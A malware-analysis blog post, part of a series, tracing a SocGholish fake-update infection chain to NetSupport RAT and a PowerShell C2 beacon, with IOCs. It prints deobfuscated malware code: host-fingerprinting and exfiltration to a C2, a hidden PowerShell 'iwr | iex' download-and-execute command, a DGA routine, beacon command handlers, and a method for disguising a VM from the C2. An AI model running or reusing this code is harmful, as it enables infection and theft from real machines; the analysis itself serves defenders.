This is a continuation of my personal series on SocGholish (or FakeUpdates). At the conclusion of “SocGholish Series - Part 2”, I had obtained the primary, first stage JavaScript payload, titled Updates.js.

In this writeup, I will execute the payload and observe the response(s) from the C2 server.

Update.js Payload

To begin, let me quickly review how the payload was captured. I would recommend using the first post in the series to follow along, if desired.

An interesting new wrinkle which was not present a few months ago, as far as I was aware, is the use of multiple Keitaro TDS domains as injects on a single compromised site. Here is an interesting thread describing their behavior.

However, for the sake of the logical flow of the series, I will not delve into this inject type in this post, and will focus on the previously identified injection type in the format:

<script async src="https://<domain>/<random_string_path>"></script>

Obtaining the Payload

In a Windows VM, I navigated to a site on which a SocGholish inject had been identified, hxxps://www.hekl-metall[.]de.

The inject:

https://templates.jdlaytongrademaker[.]com/AVmNsHp77tlle7eCNmuhknIw6ZI7b7iJNm+5nCMrr4ojKfvHcTz+3nku6cB0LObYbSjnxSMk

The second stage server responds with a large, obfuscated block of JavaScript. The JavaScript checks for various identifying aspects of the victim device, and then makes a GET request to the same second stage server:

https://templates.jdlaytongrademaker[.]com/krOlC+mRxmL2kZ85pYGJKeHHwHuwiYdq/NLJcujW+m3ikYkp4JGfKf/Eh3Y=

From here, the process is identical to what I outlined in the Fake Update Page section in the first post in the series, so I will not dig into it further here.

The fake update page is shown, and once the “download” button is clicked, the Update.js payload is added to my Downloads folder.

Payload Contents

The contents of the payload are very similar to what I described in “SocGholish Series - Part 2”.

After removing the obfuscation and performing logical function and variable renaming, I am left with:

var activeXObject = new this['ActiveXObject']('MSXML2.XMLHTTP');
activeXObject['open']('POST', 'https://ianxu.nodes.gammalambdalambda[.]org/gotoCheckout'), ![]),
activeXObject['setRequestHeader']('Upgrade-Insecure-Requests', '1'), 
activeXObject['send']('9Wc+14W1/MmSf3OfPfWgAhWibAiEEJslsZ8BcxSL3w=='), 
this['eval'](get_resp_text(activeXObject))

The payload POSTs a hardcoded string to a C2 server, and executes the response, whatever it may be.

SocGholish C2 Server: First Response

Having configured tools to monitor the requests and responses to the C2 server, I executed the JS script as a normal user would, by double clicking it in the Downloads folder.

Immediately, the C2 responded with a short snippet of JavaScript, which is subsequently executed.

The cleaned response is below:

var sz='';
var activex_obj=new ActiveXObject('WScript.Shell');
var wscript_network_obj=new ActiveXObject('WScript.Network');
var array=[];
array.push('b');
array.push('501');
array.push(WScript['ScriptFullName']);
array.push(wscript_network_obj['ComputerName']);
array.push(wscript_network_obj['UserName']);
array.push(wscript_network_obj['UserDomain']);
array.push(activex_obj['ExpandEnvironmentStrings']('%userdnsdomain%'));
array.push(wmi_query('CIMV2','Win32_ComputerSystem','Manufacturer'));
array.push(wmi_query('CIMV2','Win32_ComputerSystem','Model'));
array.push(wmi_query('CIMV2','Win32_BIOS','Version') + wmi_query('CIMV2','Win32_BIOS','SerialNumber'));
array.push(wmi_query('SecurityCenter2','AntiSpywareProduct','displayName'));
array.push(wmi_query('SecurityCenter2','AntiVirusProduct','displayName'));
array.push(wmi_query('CIMV2','CIM_NetworkAdapter','MACAddress'));
array.push(wmi_query('CIMV2','Win32_Process','Name'));
array.push(wmi_query('CIMV2','Win32_OperatingSystem','BuildNumber'));

function wmi_query(arg1,arg2,arg3){
	var ret_str='';
	try{
		var winmgmt_obj=GetObject("winmgmts:\\\\.\\root\\"+arg1);
		var results=winmgmt_obj['ExecQuery']('SELECT * FROM ' + arg2,'WQL');
		var enumerator=new Enumerator(results);
		for(; !enumerator['atEnd'](); enumerator['moveNext']()){
			var item=enumerator['item']();
			if(item[arg3]){
				ret_str += item[arg3] + '|';
			}
		}
	}
	catch(e){
		ret_str='-1';
	}
	return ret_str;
}

try{
	var c2_string='';
	for(var i=0; i<array.length; i++){
		c2_string += i + '=' + encodeURIComponent(array[i]) + '&';
	}
	var resp_text='';
	var xmlhttp_obj=new ActiveXObject('MSXML2.XMLHTTP');
	xmlhttp_obj.open('POST','https://ianxu.nodes.gammalambdalambda.org/gotoCheckout',false);
	xmlhttp_obj.setRequestHeader('Upgrade-Insecure-Requests','1');
	xmlhttp_obj.send(c2_string);
	resp_text=xmlhttp_obj.responseText;
	var evString='eval';
	this[evString](resp_text);
}
catch(e){}

The purpose of this script is to “fingerprint” the victim device and relay the information back to the C2 server in a specific format. If the C2 responds, the response text is executed.

The trouble I ran into here, is that since I was running Windows in a VM, this information would be captured in many of the WMI queries, including the manufacturer, model, and version, as well as some running processes.

The C2 will perform checks to estimate whether their “victim” is a security researcher, so I’ll have to make some adjustments in order to get a response.

To quote from a fantastic article from Proofpoint’s Andrew Northern - “SocGholish payloads are dynamically generated with data points about the victim being an input. This dynamic generation essentially locks each payload to each victim causing the payload to be rendered useless if it is moved to a different environment for analysis. Additionally, each payload is keyed to a specifically prefixed subdomain for command and control (C2) communication. Attempting to interact with a previously observed C2 domain with a known prefix will result in a closed connection.”

If the C2 detects that the victim is a VM, it will not respond to any requests from that IP again. Each failure means I’ll need to use a new victim IP address and run through the whole infection chain starting with the compromised site to get a freshly generated payload.

Inspired by this post from @rmceoin, I created rules in BurpSuite to find and replace specific strings in the request body of traffic passing through the proxy.

For example, the string VirtualBox would be replaced with HP%20Z620%20Workstation, VBoxTray.exe would be replaced with svchost.exe, and so on.

In addition to these measures to obscure my VM from the threat actor, I also supplied a fake domain to replace the blank result returned by activex_obj['ExpandEnvironmentStrings']('%userdnsdomain%'). In a future post, I would like to explore the differences (if any) of the response returned by the C2 when given a domain versus no domain.

After a few sessions of trial and error, I was finally able to obtain another response from the C2.

SocGholish C2 Server: Second Response

The C2 responded with another block of JavaScript, but interestingly, this one was not obfuscated.

var initExeption='0';
var runFileExeption='';
var runFileResult='';
var execFileName='7714b363.ps1';
var fs=new ActiveXObject("Scripting.FileSystemObject");
var _tempFilePathExec=fs.GetSpecialFolder(2)+"\\"+execFileName;
if(initExeption=='0'){
	try{
		var wsh=new ActiveXObject("WScript.Shell");
		runFileResult=wsh.Run('powershell -w h -c "iwr -usebasicparsing http://wudugf.top/f23.svg |iex"',0);;
	}
	catch(e){
		runFileExeption += 'error number:' + e.number + ' message:' + e.message;
	}
}
var req=[];
req.push('c');
req.push('501');
req.push(_tempFilePathExec);
req.push(runFileResult);
req.push(initExeption);
req.push(runFileExeption);
request(req);
function request(requestdata,retbinary){
	try{
		var payload='';
		for(var i=0; i<requestdata.length; i++){
			var param,val;
			if(requestdata[i][0]){
				param=requestdata[i][0];
				val=requestdata[i][1];
			}
			else{
				param=i;
				val=requestdata[i];
			}
			payload += param + '=' + encodeURIComponent(val) + '&';
		}
		var res='';
		var xmlhttp=new ActiveXObject('MSXML2.XMLHTTP');
		xmlhttp.open('POST','https://ianxu.nodes.gammalambdalambda.org/gotoCheckout',false);
		xmlhttp.setRequestHeader('Upgrade-Insecure-Requests','1');
		xmlhttp.send(payload);
		if(retbinary){
			res=xmlhttp.responseBody;
		}
		else{
			res=xmlhttp.responseText;
		}
		return res;
	}
	catch(e){}
}

Similar to the previous script, this will gather some info about the victim machine, format the results, and send a response back to the C2.

The big difference between the two is the use of PowerShell to download and execute a file called f23.svg.

At this point, the *.nodes.gammalambdalambda.org did not respond, and even if it did, there is no functionality in place to execute the response.

I will now pivot my focus to the file which has been downloaded and executed via PowerShell.

PowerShell - wudugf.top/f23.svg

At first glance, the PowerShell is rather simple, there are two very large base64 encoded strings which are passed to a “decode” function.

The decode function converts the strings from base64, and then loops through each element of the string and XORs them with an index of a hardcoded key.

Once the string has been XOR’d, it is decompressed using Gzip and returned.

The first base64 string is passed to the decode function and returned to a variable I’ve named $zip_file - you’ll see why in the next section.

The second base64 string is decoded and then piped to IEX - more PowerShell to explore.

Nested PowerShell

The nested PowerShell has two primary purposes, which are seemingly unrelated to each other.

One of these purposes is to extract and deploy the NetSupport RAT, which is commonly observed being deployed by SocGholish infrastructure. The specific PowerShell behavior has also been documented by other researchers in the past.

The second purpose is to deploy a separate PowerShell C2 beacon. It is interesting to see two payloads being deployed by the same C2 server, although SocGholish is known to be an initial access broker.

Nested PowerShell: NetSupport RAT

The first primary purpose of the nested PowerShell is to extract the contents of the $zip_file variable using [IO.Compression.Zipfile]::ExtractToDirectory.

This zip file will be saved to the user’s $env:appdata folder under a randomly named directory.

netsupport_rat
This zip file contains the NetSupport RAT binary as well as its dependencies.

After the NetSupport RAT folder has been extracted, the client32.exe file is renamed to whost.exe.

Persistence is established by adding the registry key “ExpirienceHost” under HKCU:\Software\Microsoft\Windows\CurrentVersion\Run, with the value set to the full path of the NetSupport RAT binary.

Once persistence is established, Invoke-WmiMethod is used to execute NetSupport RAT.

NetSupport RAT has been around for quite a while, and for those curious to learn more about it, good writeups can be easily found via a web search.

Nested PowerShell: PowerShell Beacon

This is where things, in my opinion, get more interesting.

The second purpose of the nested PowerShell is to deploy a PowerShell C2 beacon.

start-process powershell -args '
	new-alias rzs $('invoke-expression') ;
	$rand_int = New-Object ($('System.Random') )([int]((((Get-Date).DayOfYear+3) / 7) +2024)*1562);

	for ($i = 0; $i -lt 15; $i++) {
		$rand_str += ($('abcdefghijklmn') )[$rand_int.Next(0, 14)];
	}
	$global:block=(New-Object $('System.Net.WebClient') ).($('DownloadString') )($('http://') +$rand_str+$(.top/523/sdfzw.php?i=) +$(hostname));
	rzs $global:block'
-WindowStyle hidden

As shown above, a request will be made to a DGA generated .top domain, all with the same hardcoded path of /<group_id>/sdfzw.php, and the victim hostname passed as a parameter in the format ?i=<hostname>.

The response from the .top domain will be saved to a global variable, $global:block, and then executed. We will explore this in the next section.

PowerShell Beacon - AsyncRAT

Note: I noticed the PowerShell beacon has striking similarities to AsyncRAT, and could be inspired by it.

The response from the .top domain was roughly 580KB of raw PowerShell, which, as we saw previously, is piped directly to IEX.

sdfzw_php_response

I went to work formatting and attempting to deobfuscate.

Here is the original obfuscated payload, and here is a link to the fully cleaned version to follow along with as you read.

The first 150 or so lines are simple aliases, and a few lines later, TypeAccelerators are used to create aliases for .NET framework classes.

A few .NET core classes are manually added, and then Invoke-Expression is called on a here-string, which is where the meat of the beacon lives.

Domain Generating Algorithm (DGA)

After executing the here-string, the first thing the beacon does is create a list of domains.

static [void] create_c2s(){ 
	$temp_arr=@();
	$date = Get-Date;
	$week_of_year = [int]($date.(('DayOfYear')) / 7) + 1;
	$year = $date.(('Year'));
	$seed_value = $week_of_year + $year * (429374);
	$random_obj = New-Object (('System.Random'))($seed_value);

	$fifteen = 15;
	$alphanumeric = ('abcdefghijklmnopqrstuvwxyz0123456789');

	for ($i = 0; $i -lt 10; $i++) { 
		$temp_str = "";

		for ($j = 0; $j -lt $fifteen; $j++) { 
			$rand_index=$random_obj.(('next'))(0, $alphanumeric.Length);
			$temp_str += $alphanumeric[$rand_index];
		}
		$temp_arr+=$temp_str + ('.top');
		$temp_arr+=$temp_str + ('.fun');
		$temp_arr+=$temp_str + ('.com');
		$temp_arr+=$temp_str + ('.cn');

	} 
	[C2s_class]::c2_array=$temp_arr 
}

Ten domains will be generated, each fifteen characters in length, and at first glance these domains will be completely random.

However, the $week_of_year variable will help control the output of the Random object which is created with the seed value, and is a common practice in DGAs.

To demonstrate, running the following will always produce the same series of digits in $random_obj, the first four of which are: 35, 23, 10, and 2.

$date = Get-Date;
$day_of_year = 25;
$year = $date.(('Year'));
$seed_value = $day_of_year + $year * (429374);
$random_obj = New-Object (('System.Random'))($seed_value);
$fifteen = 15;
$alphanumeric = ('abcdefghijklmnopqrstuvwxyz0123456789');

If we select the characters at the index of $alphanumeric which correspond with these digits, we get 9xkc...

Spoiler alert, the domain which responds to the C2 beacon during the 25th week of the year is 9xkcaayaagvr1p2[.]top.

Hypothetically, this could be used to predict the C2 domains which will be used over the next weeks or months.

Of course, all the threat actor has to do is change the hardcoded digit used to generate the seed value and the output will be altered, so this information, while interesting, probably doesn’t have much real-world value.

Mutex

Once the domains have been generated, the beacon checks whether a mutex named rusgugh exists, and if so, the beacon will terminate.

If the mutex does not exist, it will be created, and execution continues.

Connect to C2

With the domains created and the mutex check completed, the beacon now enters an infinite loop, calling a series of functions which will communicate with a C2 server.

The beacon will determine if any of the generated domains resolve to an IP address, and if so, will use a TCP socket to connect to it on port 14235.

If the beacon connects to the C2 successfully, it will then gather data about the victim device and send it to the C2 via an SslStream object.

Device Enumeration

The beacon will gather the following data about the device:

  • AV Products
  • IP address (using api.ipify.org)
  • Device Name
  • User Name
  • OS Arch Type (64bit or 32bit)
  • Whether the user is in the built-in administrator role
  • Whether the device is domain joined

This data is organized in a hashtable, converted to JSON, and then Gzip compressed. The compressed data is converted to a byte array and sent to the C2 via the SSL stream.

C2 Server Response

Once the C2 responds, the beacon parses the response. If it determines there are commands to be executed, it passes the response to another function, which I’ve named perform_c2_command.

The function will Gzip decompress the response, and convert it from JSON into a hashtable.

Then, the value of the Packet key in the hashtable is passed to a switch statement, and different actions are performed.

Valid switch statement values:

<random_string> - sends a global count variable back to the C2.
plugin - stores an argument string for a DLL sent by the C2 into a global variable
iex - converts contents of the hashtable's `script` key from base64 and passes it to IEX
cmd - calls start-process using the values of the hashtable's `cmd` and `args` keys as parameters
selfdelete - performs "remove-item $PWD\* -force -recurse exit"
savePlugin - passes a base64 encoded .NET assembly to the "run_dll" function

All responses to the C2 commands are gzipped and sent back over the SSL stream.

The run_dll function mentioned in the savePlugin switch takes the base64 encoded byte array, reflectively loads it, and creates an instance of the specified type.

It then calls the Run method on the instance with the following arguments:

$plugin_instance.(('Run'))(
[customclass1]::tcp_socket, 
[C2s_class]::ptr_raw_certificate, 
[C2s_class]::machine_name, 
[System.Convert]::(('FromBase64String'))([customclass1]::global_saved_parameter), 
[mutex_class]::mutex, 
$null, $null, $null  );

The beacon now continues on an infinite loop, waiting for commands from the C2 server.

Emulation

For fun, lets see if we can emulate a victim machine and coax some responses out of the C2 server.

I modified the script to log specific operations as well as requests and responses to and from the server.

Currently getting mixed results and haven’t had enough time to explore it fully - I will dig into the responses in Part 4.

Final Thoughts

Starting with a site infected with a SocGholish inject, I have traced it all the way to a dual payload of NetSupport RAT and an unknown PowerShell C2 beacon framework. As mentioned, this PowerShell C2 shares strong similarities to AynscRAT and DcRat, and likely took some inspiration from these projects.

I would like to give thanks and credit to @rmceoin for providing great feedback and tips while I was working through this post.

Execution Flow Chart

SocGholish_flow

IOCs

SocGholish Stage 2:

  • templates.jdlaytongrademaker[.]com

SocGholish Stage 3:

  • *.nodes.gammalambdalambda[.]org

SocGholish Final Payload Dropper:

  • wudugf[.]top/f23.svg

NetSupport RAT:

  • Gateway Address: weubhb[.]top:443
  • SecondaryGateway: ssdgsg4knmb[.]cn:443
  • serial_no=NSM165348
  • licensee=EVALUSION

PowerShell Beacon Dropper:

  • http://<rand_str>.top/523/sdfzw.php?i=<hostname>

PowerShell C2 Beacon:

  • r89kq6esetljq7r[.]top:14235
  • 45.77.195.105